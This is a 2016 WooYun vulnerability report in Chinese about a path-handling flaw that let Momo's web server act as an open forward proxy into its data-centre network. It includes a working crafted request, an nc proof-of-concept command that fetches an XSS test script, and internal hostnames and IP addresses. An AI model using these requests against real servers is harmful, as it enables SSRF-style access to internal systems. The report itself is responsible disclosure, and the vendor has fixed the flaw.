当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0191121

漏洞标题：陌陌web服务器Path处理不当可以正向代理(idc机器/打不到办公网)

相关厂商：北京陌陌科技有限公司

漏洞作者： lijiejie

提交时间：2016-03-31 16:42

修复时间：2016-04-08 20:01

公开时间：2016-04-08 20:01

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：6

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-31： 细节已通知厂商并且等待厂商处理中
2016-04-01： 厂商已经确认，细节仅向厂商公开
2016-04-08： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

陌陌一台web服务器Path处理不当，可以正向代理，是idc的机器，可以在idc内穿，但打不到办公网。 (┬＿┬)

详细说明：

存在问题的web服务器是 chatst.immomo.com:80

GET :@www.lijiejie.com/xss.js HTTP/1.1
Host: chatst.immomo.com


momo.proxy.png


如图，已经可以代理访问www.lijiejie.com

漏洞证明：

root@xxxx:~/test# echo -e "GET :@www.lijiejie.com/xss.js HTTP/1.1\r\nHost: chatst.immomo.com\r\n\r\n" | nc chatst.immomo.com 80
HTTP/1.1 200 OK
Content-Length: 51
Expires: Tue, 27 Sep 2016 08:22:10 GMT
Server: MOMO
Last-Modified: Tue, 26 Jan 2016 07:40:04 GMT
Cache-Control: max-age=15552000
Date: Thu, 31 Mar 2016 08:22:09 GMT
Content-Type: application/octet-stream
alert('XSS on ' + document.domain + '\n' + Date())


测试了几个IP地址，办公网打不通：

office.wemomo.com             	172.16.7.3
hermes.wemomo.com             	10.80.103.160


但还是找了个不通的：

maven.wemomo.com              	211.152.99.47


大家无法直接访问http://maven.wemomo.com的web服务，但是代理OK的。

momo.maven.png


修复方案：

web server正确处理path

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-01 19:20

厂商回复：

感谢lijiejie一直以来对陌陌的关注并多次提交高质量的漏洞，你的支持对我们也是一种鞭策，也希望大家继续帮助我们一起提高陌陌的安全水准。

最新状态：

2016-04-08：漏洞已修复，谢谢大家。